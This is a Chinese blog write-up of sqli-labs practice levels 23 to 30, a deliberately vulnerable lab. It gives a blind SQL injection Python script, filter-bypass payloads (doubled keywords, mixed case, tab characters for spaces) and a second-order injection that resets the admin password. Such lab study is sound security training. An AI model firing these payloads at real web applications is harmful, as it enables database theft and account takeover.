sqli-labs的学习记录三(23-30)
第二十三关
测试id=1' and '1'='1
时返回正常,测试id=-1' order by 1 #
就报错了,查看源代码可以看到我们递交的参数被过滤了–和#
$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
所以不能用注释的方法只能闭合查询语句,我们可以套用第八关的代码进行盲注查询
id=1' and ascii(substr(database(),1,1)) >= '97
python脚本代码
import requests
txt1 = "http://localhost/sqli-labs/Less-23/?id=1' and ascii(substr(database(),"
txt2 = ",1)) >= '"
txt3 = ",1)) = '"
payload1 = 1
payload2 = 97
txt4 = 'Your Login name'
num11 = 97
num12 = 65
num13 = 48
code = ''
num1 = 0
num2 = 0
num3 = 0
for i in range(1,9):
url = txt1+str(i)+txt2+str(num11)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
num1 = 1
url = txt1+str(i)+txt2+str(num12)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
num2 = 1
url = txt1+str(i)+txt2+str(num13)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
num3 = 1
if(num1 == 1):
num = 97
num += 13
url = txt1+str(i)+txt2+str(num)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
num += 6
else:
num -= 7
url = txt1+str(i)+txt2+str(num)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
num += 3
else:
num -= 3
url = txt1+str(i)+txt2+str(num)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext != txt4):
num -= 3
if(reqtext == txt4) and ((num == 106) or (num == 119)):
for j in range(num,num+4):
url = txt1+str(i)+txt3+str(j)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
code += chr(j)
print code
num1 = 0
num2 = 0
num3 = 0
else:
for j in range(num,num+3):
url = txt1+str(i)+txt3+str(j)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
code += chr(j)
print code
num1 = 0
num2 = 0
num3 = 0
if(num1 == 0 and num2 == 1):
num = 65
num += 13
url = txt1+str(i)+txt2+str(num)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
num += 6
else:
num -= 7
url = txt1+str(i)+txt2+str(num)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
num += 3
else:
num -= 3
url = txt1+str(i)+txt2+str(num)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext != txt4):
num -= 3
if(reqtext == txt4) and ((num == 74) or (num == 87)):
for j in range(num,num+4):
url = txt1+str(i)+txt3+str(j)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
code += chr(j)
print code
num1 = 0
num2 = 0
num3 = 0
else:
for j in range(num,num+3):
url = txt1+str(i)+txt3+str(j)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
code += chr(j)
print code
num1 = 0
num2 = 0
num3 = 0
if(num2 == 0 and num3 == 1):
num =48
num += 5
url = txt1+str(i)+txt2+str(num)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
for j in range(num,num+5):
url = txt1+str(i)+txt3+str(j)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
code += chr(j)
print code
num1 = 0
num2 = 0
num3 = 0
else:
num -= 5
for j in range(num,num+5):
url = txt1+str(i)+txt3+str(j)
req = requests.get(url = url)
reqtext = req.text[554:569]
if(reqtext == txt4):
code += chr(j)
print code
num1 = 0
num2 = 0
num3 = 0
第二十四关
这道题目考的是二次注入,可以理解为第一滴构造可以注入的条件,第二次才实施注入
从源代码上看login.php、login_create.php都被做了过滤
//login.php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
//login_create.php
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
mysql_real_escape_string的作用–>传送门
mysql_escape_string的作用–>传送门
只有在pass_change.php的username没有做过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
假设我们要攻击的用户名为admin,二次注入的方法原理为构造特殊的用户名admin'#
,在修改admin'#
的用户密码的时候会由于mysql更新语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
变为
UPDATE users SET PASSWORD='pass' where username='admin'#' and password='pass' ";
这样就可以达到修改admin的密码的目的
第一步,构建特殊用户名,密码随意
登陆后修改密码,当前密码不用填,因为已经注释掉了
这样就可以修改admin的密码了
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123 | //admin的默认密码是admin
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 17 | admin'# | 123 |
+----+----------+------------+
14 rows in set (0.00 sec)
第二十五关
过滤and
和or
首先测试id=1'
报错说明存在单引号注入,测试id=1' and '1'='1
返回正常但不是id为1的页面,从下方的提示也可以看到and被过滤掉了
测试id=1' anandd '1'='1
返回正常说明and只被过滤了一次
只要把and或or双写就可以绕过了
还有一种方法是用逻辑运算符代替,用&&
代替and
,用||
代替or
第二十五A关
这一关考的是过滤了and和or的盲注,同样过滤了and和or,可以用&&和||代替和双写绕过
id=1 anandd if(length(database())>8,sleep(5),sleep(10)) #
实测发现可以不用盲注直接注入
id=-1 union select 1,database(),3
第二十六关
这关过滤了空格和注释
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
替换空格的方法有
%09 --TAB键(水平)
%0a --新建一行
%0c --新的一页
%0d --return
%0b --TAB(垂直)
%a0 --空格
最后一个会报错,在linux下可以,跟apache解析有关,测试payload为
id=-1'%09anandd%09'1'='1
然而
测试union语句竟然失败了,经过多次反复测试发现上述替换都会被过滤,id=1'anandd'1'='1
不加空格可以注入成功,网上找到一个盲注的方法,但还是有点缺陷
id=1'anandd(ascii(substr(database(),1,1))>=97)anandd'1'='1
有待补充
第二十六A关
这一关和上一关一样,只不过sql语句多了括号
id=1')anandd(ascii(substr(database(),1,1))>=97)anandd('1'='1
第二十七关
过滤了union和select,下面是过滤代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
对比二十六关过滤空格的代码少了
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
union可以双写绕过也可以大小写绕过,select要三写才可以绕过,或者大小写绕过,%09可以替换空格,猜测二十六关提到的替换方法应该也可以,注释可以用and'1'='1
闭合
id=0' uniounionn%09selecselselectectt%091,database(),3%09and '1'='1
id=0'%09UnIoN%09sElEcT%091,database(),3%09and%09'1'='1
第二十七A关
和二十七关一样,单引号边双引号,用二十七关的方法即可绕过
id=0"%09UnIoN%09sElEcT%091,database(),3%09and%09"1"="1
第二十八关
这一关过滤了union select
,所以要吧这个双写,把过滤代码的注释去掉要再写一次select
id=1')%09uniunion%09selselectectoN%09SeLeCt%091,database(),3%09and%09('1'='1
第二十A关
源代码把二十八关前面的都注释了,保留了最后一个
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
直接双写union select
id=1') uniounion selectn select 1,database(),3 and ('1'='1
第二十九关
emmm……
“This site protected by world’s best Firewall”,really?。感觉一点过滤都没有。。。
第三十关
感觉和第二十九关一样
id=0" union select 1,database(),3 and "1"="1
卒
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!